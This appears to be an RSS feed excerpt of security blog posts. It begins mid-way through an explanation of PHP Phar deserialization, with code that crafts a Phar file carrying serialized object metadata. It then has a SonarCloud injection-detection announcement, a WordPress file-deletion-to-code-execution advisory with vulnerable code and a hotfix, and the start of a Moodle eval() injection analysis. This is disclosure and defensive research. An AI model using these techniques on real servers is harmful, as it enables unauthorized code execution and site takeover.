3    include(&apos;data://text/plain;base64,cGhwaW5mbygpCg==&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Phar Meta Data&lt;/h2&gt;&lt;p&gt;But so far, nobody paid attention to the &lt;code&gt;phar://&lt;/code&gt; wrapper. What is interesting about Phar (PHP Archive) files is that these contain meta data in&lt;a href=&quot;https://php.net/manual/phar.fileformat.manifestfile.php&quot;&gt; serialized format&lt;/a&gt;. Let’s create a Phar file and add an object with some data as meta data:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Creating a Phar File&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    // create new Phar
 2    $phar = new Phar(&apos;test.phar&apos;);
 3    $phar-&gt;startBuffering();
 4    $phar-&gt;addFromString(&apos;test.txt&apos;, &apos;text&apos;);
 5    $phar-&gt;setStub(&apos;&lt;?php __HALT_COMPILER(); ? &gt;&apos;);
 6
 7    // add object of any class as meta data
 8    class AnyClass {}
 9    $object = new AnyClass;
10    $object-&gt;data = &apos;rips&apos;;
11    $phar-&gt;setMetadata($object);
12    $phar-&gt;stopBuffering();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Our newly created &lt;code&gt;test.phar&lt;/code&gt; file now has the following content. We can see that our object was stored as a serialized string.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a5d25237-58dd-42cb-9e12-ef367efd4476/body-9cc9f384-61ed-499a-aa09-51d89448093e_hex_view.png&quot; /&gt;&lt;p&gt;&lt;strong&gt;Figure 1: &lt;/strong&gt;Hex view of the created Phar file.&lt;/p&gt;&lt;h2&gt;PHP Object Injection&lt;/h2&gt;&lt;p&gt;If a file operation is now performed on our existing Phar file via the &lt;code&gt;phar://&lt;/code&gt; wrapper, then its serialized meta data is &lt;strong&gt;unserialized&lt;/strong&gt;. This means that our injected object in the meta data is loaded into the application’s scope. If this application has a class named &lt;code&gt;AnyClass&lt;/code&gt; and it has the magic method &lt;code&gt;__destruct()&lt;/code&gt; or &lt;code&gt;__wakeup()&lt;/code&gt; defined, then those methods are automatically invoked. This means we can trigger any destructor or wakeup method in the code base. Even worse, if these methods operate on our injected data then this can lead to further vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PHP Object Injection via Phar file&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    classAnyClass{
2        function__destruct(){
3            echo $this-&gt;data;
4        }
5    }
6    // output: rips 
7    include(&apos;phar://test.phar&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Exploitation&lt;/h2&gt;&lt;p&gt;First, an attacker must be able to plant a crafted Phar file on the targeted web server. But Sam Thomas found some nice tricks on how to sneak a Phar file into a fake JPG, so a common image upload feature is already sufficient&lt;a href=&quot;https://blog.ripstech.com/2018/new-php-exploitation-technique/#fn:1&quot;&gt;1&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;So far, this still doesn’t seem that critical because if an attacker can control the full file path in operations such as &lt;code&gt;ìnclude()&lt;/code&gt;, &lt;code&gt;fopen()&lt;/code&gt;, &lt;code&gt;file_get_contents()&lt;/code&gt;, &lt;code&gt;file()&lt;/code&gt; etc., then this already poses a severe security vulnerability itself. Therefore, user input used in these functions is usually validated.&lt;/p&gt;&lt;p&gt;However, the unserialize is triggered for the &lt;code&gt;phar://&lt;/code&gt; wrapper in &lt;strong&gt;any&lt;/strong&gt; file operation. Thus, other file operations, such as &lt;code&gt;file_exists()&lt;/code&gt; which simply checks the existence of a file, were until now considered as less sensitive to security risks and are less well protected. But now an attacker can inject the &lt;code&gt;phar://&lt;/code&gt; wrapper and gain code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Examples of so far harmless looking code:&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    file_exists($_GET[&apos;file&apos;]);
2    md5_file($_GET[&apos;file&apos;]);
3    filemtime($_GET[&apos;file&apos;]);
4    filesize($_GET[&apos;file&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/new-php-exploitation-technique/&quot;&gt;Pydio 8.2.1 Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/new-php-exploitation-technique/&quot;&gt;Shopware 5.3.3: PHP Object Instantiation to Blind XXE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/new-php-exploitation-technique/&quot;&gt;A Salesmans Code Execution: PrestaShop 1.7.2.4&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/new-php-exploitation-technique/&quot;&gt;CTF Writeup: Complex Drupal POP Chain&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/new-php-exploitation-technique/&quot;&gt;Breaking Into Your Company&amp;#x27;s Internal Network - SuiteCRM 7.11.4&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/new-php-exploitation-technique/&quot;&gt;phpBB 3.2.3: Phar Deserialization to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/new-php-exploitation-technique/&quot;&gt;What is PHP Object Injection&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Protect your code against injection vulnerabilities with SonarCloud!]]></title><description><![CDATA[Injection security vulnerabilities (OWASP-A1) can run scared, as latest SonarCloud updates now provide advanced security checks to continuously detect them.]]></description><link>https://www.sonarsource.com/blog/sonarcloud-is-entering-sast-market</link><guid isPermaLink="false">3013a2bd-4924-5921-a69a-250f2ba462e8</guid><dc:creator><![CDATA[Alexandre Gigleux]]></dc:creator><pubDate>Tue, 10 Jul 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;These days, no one can deny that security matters. Every week on the &lt;a href=&quot;https://nakedsecurity.sophos.com/2018/02/19/hackers-sentenced-for-sql-injections-that-cost-300-million/&quot;&gt;news&lt;/a&gt;, you see stories about web attacks, and the theft of sensitive customer data from companies compromised by a data breach. The reasons for these attacks range from passwords left on a &lt;a href=&quot;https://www.theregister.co.uk/2017/11/22/uber_2016_data_breach/&quot;&gt;sticky note&lt;/a&gt; to complex vulnerability exploits.&lt;/p&gt;&lt;h2&gt;Detecting injections&lt;/h2&gt;&lt;p&gt;Since 2010, the &lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&quot;&gt;OWASP&lt;/a&gt; organization, which defines the famous &lt;a href=&quot;https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf&quot;&gt;OWASP Top 10&lt;/a&gt; standard, considers that the biggest security problem applications are suffering from is the possibility to perform injection attacks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10-2017_A1-Injection&quot;&gt;OWASP A1 - Injection&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These last few months at SonarSource we have developed an engine dedicated to the security domain based on the technique call &amp;quot;taint analysis&amp;quot;. Basically, we track whether your input variables have been sanitized by the time they reach a piece of code (a sink) that can be used to perform an attack. We don&amp;#x27;t pretend to cover all the possible sinks but that will be enhanced over the time so we can participate in this effort to eradicate the &amp;quot;Injection&amp;quot; from the OWASP Top 10 standard.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This new engine is part of &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; and is targeting 6 common injection problems for Java and C#:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;S3649: &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/SonarSecurity/RSPEC-3649&quot;&gt;SQL Query Injection&lt;/a&gt;: &lt;a href=&quot;http://cwe.mitre.org/data/definitions/89&quot;&gt;CWE-89&lt;/a&gt;, &lt;a href=&quot;http://cwe.mitre.org/data/definitions/564.html&quot;&gt;CWE-564&lt;/a&gt;, &lt;a href=&quot;http://cwe.mitre.org/data/definitions/20.html&quot;&gt;CWE-20&lt;/a&gt;, &lt;a href=&quot;http://cwe.mitre.org/data/definitions/943.html&quot;&gt;CWE-943&lt;/a&gt;, CERT &lt;a href=&quot;https://www.securecoding.cert.org/confluence/x/PgIRAg&quot;&gt;IDS00-J.&lt;/a&gt;, &lt;a href=&quot;https://www.sans.org/top25-software-errors/#cat1&quot;&gt;SANS Top 25&lt;/a&gt;&lt;/li&gt;&lt;li&gt;S2076: &lt;a href=&quot;https://rules.sonarsource.com/java/tag/SonarSecurity/RSPEC-2076&quot;&gt;OS Command Injection&lt;/a&gt;: &lt;a href=&quot;http://cwe.mitre.org/data/definitions/78&quot;&gt;CWE-78&lt;/a&gt;, &lt;a href=&quot;http://cwe.mitre.org/data/definitions/88&quot;&gt;CWE-88&lt;/a&gt;, &lt;a href=&quot;https://www.sans.org/top25-software-errors/#cat1&quot;&gt;SANS Top 25&lt;/a&gt;&lt;/li&gt;&lt;li&gt;S2091: &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/SonarSecurity/RSPEC-2091&quot;&gt;XPath Expressions Injection&lt;/a&gt;: &lt;a href=&quot;http://cwe.mitre.org/data/definitions/643&quot;&gt;CWE-643&lt;/a&gt;, CERT &lt;a href=&quot;https://www.securecoding.cert.org/confluence/x/BwLEAw&quot;&gt;IDS53-J.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;S2078: &lt;a href=&quot;https://rules.sonarsource.com/java/tag/SonarSecurity/RSPEC-2078&quot;&gt;LDAP Query Injection&lt;/a&gt;: &lt;a href=&quot;http://cwe.mitre.org/data/definitions/90&quot;&gt;CWE-90&lt;/a&gt;, CERT &lt;a href=&quot;https://www.securecoding.cert.org/confluence/x/CgLEAw&quot;&gt;IDS54-J.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;S2083: &lt;a href=&quot;https://rules.sonarsource.com/java/tag/SonarSecurity/RSPEC-2083&quot;&gt;I/O Function Calls Injection&lt;/a&gt;: &lt;a href=&quot;http://cwe.mitre.org/data/definitions/22&quot;&gt;CWE-22&lt;/a&gt;, &lt;a href=&quot;http://cwe.mitre.org/data/definitions/23&quot;&gt;CWE-23&lt;/a&gt;, &lt;a href=&quot;http://cwe.mitre.org/data/definitions/36&quot;&gt;CWE-36&lt;/a&gt;, &lt;a href=&quot;http://cwe.mitre.org/data/definitions/99&quot;&gt;CWE-99&lt;/a&gt;, &lt;a href=&quot;http://cwe.mitre.org/data/definitions/641.html&quot;&gt;CWE-641&lt;/a&gt;, &lt;a href=&quot;http://cwe.mitre.org/data/definitions/22&quot;&gt;CWE-22&lt;/a&gt;, &lt;a href=&quot;https://www.sans.org/top25-software-errors/#cat2&quot;&gt;SANS Top 25&lt;/a&gt;&lt;/li&gt;&lt;li&gt;S2631: &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/SonarSecurity/RSPEC-2631&quot;&gt;Regular Expressions Injection&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;What&amp;#x27;s next?&lt;/h2&gt;&lt;p&gt;We want to detect &lt;strong&gt;more&lt;/strong&gt; injection problems on &lt;strong&gt;more&lt;/strong&gt; languages such as PHP! Additionally, we want to raise issues on low-hanging fruit related to the security domain such as: use of weak encryption algorithms, debug options left in production code, misconfigured cookies, etc.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Coming with that, we will soon provide a dedicated security space so you can easily check your compliance with OWASP Top 10 and SANS Top 25 standards. Stay tuned!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[WordPress File Delete to Code Execution]]></title><description><![CDATA[In this blog post we introduce an authenticated arbitrary file deletion vulnerability (CVE-2018-20714) in the WordPress core that can lead to attackers executing arbitrary code.]]></description><link>https://www.sonarsource.com/blog/wordpress-file-delete-to-code-execution</link><guid isPermaLink="false">6f48b18f-7147-5c26-ab71-5da06dfee6ad</guid><dc:creator><![CDATA[Karim El Ouerghemmi]]></dc:creator><pubDate>Tue, 26 Jun 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WordPress is the most popular CMS on the web. In this blog post we introduce an authenticated arbitrary file deletion vulnerability (CVE-2018-20714) in the WordPress core that can lead to attackers executing arbitrary code. The vulnerability was reported &lt;strong&gt;7 months ago &lt;/strong&gt;to the WordPress security team but still remains unpatched.&lt;/p&gt;&lt;h2&gt;Who is affected&lt;/h2&gt;&lt;p&gt;According to &lt;em&gt;w3tech&lt;/em&gt;, WordPress is used by approximately &lt;a href=&quot;https://w3techs.com/technologies/overview/content_managementhttps://&quot;&gt;30%&lt;/a&gt; of all websites. This wide adoption makes it an interesting target for cyber criminals. At the time of writing no patch preventing the vulnerability described in this post is available. Any WordPress version, including the current &lt;strong&gt;4.9.6&lt;/strong&gt; version, is susceptible to the vulnerability described in this blogpost.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For exploiting the vulnerability discussed in the following an attacker would need to gain the privileges to edit and delete media files beforehand. Thus, the vulnerability can be used to escalate privileges attained through the takeover of an account with a role as low as &lt;em&gt;Author&lt;/em&gt;, or through the exploitation of another vulnerability/misconfiguration.&lt;/p&gt;&lt;h2&gt;Impact - What can an attacker do&lt;/h2&gt;&lt;p&gt;Exploiting the vulnerability grants an attacker the capability to delete any file of the WordPress installation (+ any other file on the server on which the PHP process user has the proper permissions to delete). Besides the possibility of erasing the whole WordPress installation, which can have desastrous consequences if no current backup is available, an attacker can make use of the capability of arbitrary file deletion to circumvent some security measures and to execute arbitrary code on the webserver. More precisely, the following files can be deleted:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;.htaccess:&lt;/strong&gt; In general, deleting this file does not have any security consequences. However, in some occasions, the &lt;em&gt;.htaccess&lt;/em&gt; file contains security related constraints (e.g., access constraints to some folders). Deleting this file would deactivate those security constraints.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;index.php files:&lt;/strong&gt; Oftentimes empty &lt;em&gt;index.php&lt;/em&gt; files are placed into directories to prevent directory listing for the case the webserver fails to do so. Deleting those files would grant an attacker a listing of all files in directories protected by this measure.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;wp-config.php:&lt;/strong&gt; Deleting this file of a WordPress installation would trigger the WordPress installation process on the next visit to the website. This is due to the fact that &lt;em&gt;wp-config.php&lt;/em&gt; contains the database credentials, and without its presence, WordPress acts as if it hasn’t been installed yet. An attacker could delete this file, undergo the installation process with credentials of his choice for the administrator account and, finally, execute arbitrary code on the server.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/XTObZdxu05g&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;An arbitrary file deletion vulnerability occurs when unsanitized user input is passed to a file deletion function. In PHP this happens when the &lt;code&gt;unlink()&lt;/code&gt; function is called and user input can affect parts of or the whole parameter &lt;code&gt;$filename&lt;/code&gt;, which represents the path of the file to delete, without undergoing proper sanitization.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The code section which made this vulnerability possible in the WordPress Core is found in the &lt;em&gt;wp-includes/post.php file&lt;/em&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/wp-includes/post.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    function wp_delete_attachment( $post_id, $force_delete = false ) {
 2    ⋮
 3        $meta = wp_get_attachment_metadata( $post_id );
 4        ⋮
 5        if ( ! empty($meta[&apos;thumb&apos;]) ) {
 6            // Don&apos;t delete the thumb if another attachment uses it.
 7            if (! $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT meta_id FROM $wpdb-&gt;postmeta 
              WHERE meta_key = &apos;_wp_attachment_metadata&apos; AND meta_value LIKE %s 
              AND post_id &lt;&gt; %d&quot;, &apos;%&apos; . $wpdb-&gt;esc_like( $meta[&apos;thumb&apos;] ) . &apos;%&apos;, $post_id)) ) {
 8                $thumbfile = str_replace(basename($file), $meta[&apos;thumb&apos;], $file);
 9                /** This filter is documented in wp-includes/functions.php */
10                $thumbfile = apply_filters( &apos;wp_delete_file&apos;, $thumbfile );
11                @ unlink( path_join($uploadpath[&apos;basedir&apos;], $thumbfile) );
12            }
13        }
14        ⋮
15    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the &lt;code&gt;wp_delete_attachement()&lt;/code&gt; function shown above, the content of &lt;code&gt;$meta[&amp;#x27;thumb&amp;#x27;]&lt;/code&gt; gets used in the call to &lt;code&gt;unlink()&lt;/code&gt; without undergoing any sanitization. The purpose of this snippet of code is to delete the thumbnail of an image alongside its deletion. Images uploaded through the media manager in WordPress are represented as a post of type &lt;em&gt;attachement&lt;/em&gt;. The value &lt;code&gt;$meta[&amp;#x27;thumb&amp;#x27;]&lt;/code&gt; gets retrieved from the database where it is saved as a &lt;em&gt;Custom Field&lt;/em&gt; of the post representing the image. So, between retrieval from the database and usage in the critical function call to &lt;code&gt;unlink()&lt;/code&gt;, the value representing the thumbnail filename doesn’t undergo any sanitizations or checks. If the value also doesn’t undergo any or unsufficient security measures before being saved to the database, which is the case as we will see in the next code listing, we have a second-order arbitrary file deletion vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/wp-admin/post.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    switch($action) {
 2    ⋮
 3        case &apos;editattachment&apos;:
 4            check_admin_referer(&apos;update-post_&apos; . $post_id);
 5            ⋮
 6            // Update the thumbnail filename
 7            $newmeta = wp_get_attachment_metadata( $post_id, true );
 8            $newmeta[&apos;thumb&apos;] = $_POST[&apos;thumb&apos;];
 9            wp_update_attachment_metadata( $post_id, $newmeta );
10            ⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The latter code snippet, which resides in &lt;em&gt;/wp-admin/post.php&lt;/em&gt;, represents how the filename of the thumbnail belonging to an attachement gets saved to the database. Between retrieval from user input saved in &lt;code&gt;$_POST[&amp;#x27;thumb&amp;#x27;]&lt;/code&gt; and saving to the database with &lt;code&gt;wp_update_attachment_metadata()&lt;/code&gt; there are no security measures in place to assure that the value really represents the thumbnail of the attachement being edited. The value of &lt;code&gt;$_POST[&amp;#x27;thumb&amp;#x27;]&lt;/code&gt; could hold the, to the WordPress upload directory relative, path of any file, and when the attachement gets deleted, the file will get deleted with it as seen in the first listing.&lt;/p&gt;&lt;h2&gt;Temporary Hotfix&lt;/h2&gt;&lt;p&gt;The described vulnerability remains unpatched in the WordPress core as the time of writing. Because of this, we have developed a temporary fix provided in the snipped below. The fix can be integrated into an existing WordPress installation by adding it to the &lt;em&gt;functions.php&lt;/em&gt; file of the currently active theme/child-theme.&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    add_filter( &apos;wp_update_attachment_metadata&apos;, &apos;rips_unlink_tempfix&apos; );
 2
 3    function rips_unlink_tempfix( $data ) {
 4        if( isset($data[&apos;thumb&apos;]) ) {
 5            $data[&apos;thumb&apos;] = basename($data[&apos;thumb&apos;]);
 6        }
 7        return $data;
 8    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;All the provided Hotfix does is to hook into the &lt;code&gt;wp_update_attachement_metadata()&lt;/code&gt; call and making sure that the data provided for the meta-value &lt;code&gt;thumb&lt;/code&gt; does not contain any parts making path traversal possible. Thus, no security relevant files can be deleted.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The provided fix shall ultimately be seen as a temporary fix in order to prevent attacks. We cannot oversee all possible backwards compatibility problems with WordPress plugins and advise to make any modifications to your WordPress files with caution.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/11/20&lt;/td&gt;&lt;td&gt;Vulnerability reported to the WordPress security team on Hackerone.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/11/22&lt;/td&gt;&lt;td&gt;The vulnerability was triaged and verified by the security team.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/12/12&lt;/td&gt;&lt;td&gt;Asked for progress.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/01/09&lt;/td&gt;&lt;td&gt;Asked for release date. No response.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/01/20&lt;/td&gt;&lt;td&gt;Asked for mediation on Hackerone due to the severity of the issue and the lack of communication.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/01/24&lt;/td&gt;&lt;td&gt;The WordPress security team estimates the time to fix to be 6 months.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/05/24&lt;/td&gt;&lt;td&gt;Asked for progress and/or plans on the issue, and given a reminder that we would publish it soon. No response.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/06/26&lt;/td&gt;&lt;td&gt;The issue remains unpatched more than 7 months after reporting.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/07/05&lt;/td&gt;&lt;td&gt;WordPress released a fix in version&amp;nbsp;4.9.7.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we have introduced an arbitrary file deletion vulnerability in the WordPress core that allows any user with privileges of an &lt;em&gt;Author&lt;/em&gt; to completely take over the WordPress site and to execute arbitrary code on the server. The vulnerability was reported to the WordPress security team last year but still remains unpatched at the time of writing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to raise awareness of this vulnerability we decided to publish some details and a hotfix. The vulnerability can be easily spotted with our security analysis solution and we are certain that this issue is already known to many researchers. Although the requirement of a user account prevents the exploitation of arbitrary WordPress sites at scale, those sites that share multiple user accounts should apply a hotfix.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Update 2018/07/05&lt;/h2&gt;&lt;p&gt;The WordPress team published an update in their security and maintenance release &lt;a href=&quot;https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/&quot;&gt;4.9.7&lt;/a&gt; that fixes the vulnerability described in this blog post and a &lt;a href=&quot;https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/&quot;&gt;related one&lt;/a&gt; discovered later by Wordfence.&lt;/p&gt;&lt;h2&gt;Update 2018/08/14&lt;/h2&gt;&lt;p&gt;A new PHP exploiting technique was released that also allows to turn this bug into a PHP object injection vulnerability. Find out more about &lt;a href=&quot;https://blog.sonarsource.com/new-php-exploitation-technique/&quot;&gt;Phar Deserialization&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/wordpress-file-delete-to-code-execution/&quot;&gt;WordPress 5.1 CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/wordpress-file-delete-to-code-execution/&quot;&gt;WordPress &amp;lt;= 5.2.3: Hardening Bypass&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/wordpress-file-delete-to-code-execution/&quot;&gt;WordPress Privilege Escalation through Post Types&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/wordpress-file-delete-to-code-execution/&quot;&gt;WordPress Design Flaw Leads to WooCommerce RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/wordpress-file-delete-to-code-execution/&quot;&gt;WordPress 5.0.0 Remote Code Execution &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Evil Teacher: Code Injection in Moodle]]></title><description><![CDATA[In this post we will examine the technical intrinsics of a critical vulnerability in the previous Moodle release (CVE-2018-1133).]]></description><link>https://www.sonarsource.com/blog/moodle-remote-code-execution</link><guid isPermaLink="false">7719b914-9270-5b3b-838b-65a13200003d</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Tue, 12 Jun 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Moodle is a widely-used open-source e-Learning software with more than 127 million users allowing teachers and students to digitally manage course activities and exchange learning material, often deployed by large universities. In this post we will examine the technical intrinsics of a critical vulnerability in the previous Moodle release (CVE-2018-1133).&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact - Who can exploit what?&lt;/h2&gt;&lt;p&gt;An attacker &lt;strong&gt;must be assigned the teacher role&lt;/strong&gt; in a course of the latest Moodle (earlier than 3.5.0) running with default configurations. Escalating to this role via another vulnerability, such as XSS, would also be possible. Given these requirements and the knowledge of the vulnerability, the adversary will be able to execute arbitrary commands on the underlying operating system of the server running Moodle. By using a specially crafted math-formula which is evaluated by Moodle - the attacker bypasses an internal security mechanism that prevented the execution of malicious commands. In the following section, we will examine the technical details of the vulnerability.&lt;/p&gt;&lt;h2&gt;Math formulas in Quiz component&lt;/h2&gt;&lt;p&gt;Moodle allows teachers to set up a quiz with many types of questions. Among them is the calculated question which allows teachers to enter a mathematical formula that will be evaluated by Moodle dynamically on randomized input variables. This prevents students to cheat and simply share their results. For example, the teacher could type &lt;em&gt;What is {x} added to {y}? &lt;/em&gt;with the answer formula being &lt;em&gt;{x}+{y}&lt;/em&gt;. Moodle would then generate two random numbers and insert them for the placeholders &lt;em&gt;{x}&lt;/em&gt; and &lt;em&gt;{y}&lt;/em&gt; in the question and answer text (say &lt;em&gt;3.9+2.1&lt;/em&gt;). Finally, it would evaluate the answer &lt;em&gt;6.0&lt;/em&gt; by calling the security-sensitive PHP function &lt;code&gt;eval()&lt;/code&gt; on the formula input which is well-known for its malicious potential as it allows execution of arbitrary PHP code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;question/type/calculated/questiontype.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1211    public function substitute_variables_and_eval($str, $dataset) {
1212        // substitues {x} and {y} for numbers like 1.2 with str_replace():
1213        $formula = $this-&amp;gt;substitute_variables($str, $dataset);  
1214        if ($error = qtype_calculated_find_formula_errors($formula)) {     
1215            return $error;   // formula security mechanism
1216        }
1217        $str=null;
1218        eval(&apos;$str = &apos;.$formula.&apos;;&apos;);	// dangerous eval()-call
1219        return $str;
1220    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To enforce the usage of only harmless PHP code the developers of Moodle have introduced a validator function &lt;code&gt;qtype_calculated_find_formula_errors()&lt;/code&gt; which is invoked before the dangerous &lt;code&gt;eval()&lt;/code&gt; call with the intention of detecting illegal and malicious code in the formula provided by the teacher.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;question/type/calculated/questiontype.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1923    function qtype_calculated_find_formula_errors($formula) {
1924        // Returns false if everything is alright
1925        // otherwise it constructs an error message.
1926        // Strip away dataset names.
1927        while (preg_match(&apos;~\\{[[:alpha:]][^&amp;gt;} &amp;lt;{&quot;\&apos;]*\\}~&apos;, $formula, $regs)){
1928            $formula = str_replace($regs[0], &apos;1&apos;, $formula);
1929        }
1930
1931        // Strip away empty space and lowercase it.
1932        $formula = strtolower(str_replace(&apos; &apos;, &apos;&apos;, $formula));
1933
1934        $safeoperatorchar = &apos;-+/*%&amp;gt;:^\~&amp;lt;?=&amp;amp;|!&apos;; /* */
1935        $operatorornumber = &quot;[{$safeoperatorchar}.0-9eE]&quot;;
1936
1937        // [...]
1938
1939        if (preg_match(&quot;~[^{$safeoperatorchar}.0-9eE]+~&quot;, $formula, $regs)) {
1940            return get_string(&apos;illegalformulasyntax&apos;,&apos;qtype_calculated&apos;,$regs[0]);
1941        } else {
1942            // Formula just might be valid.
1943            return false;
1944        }
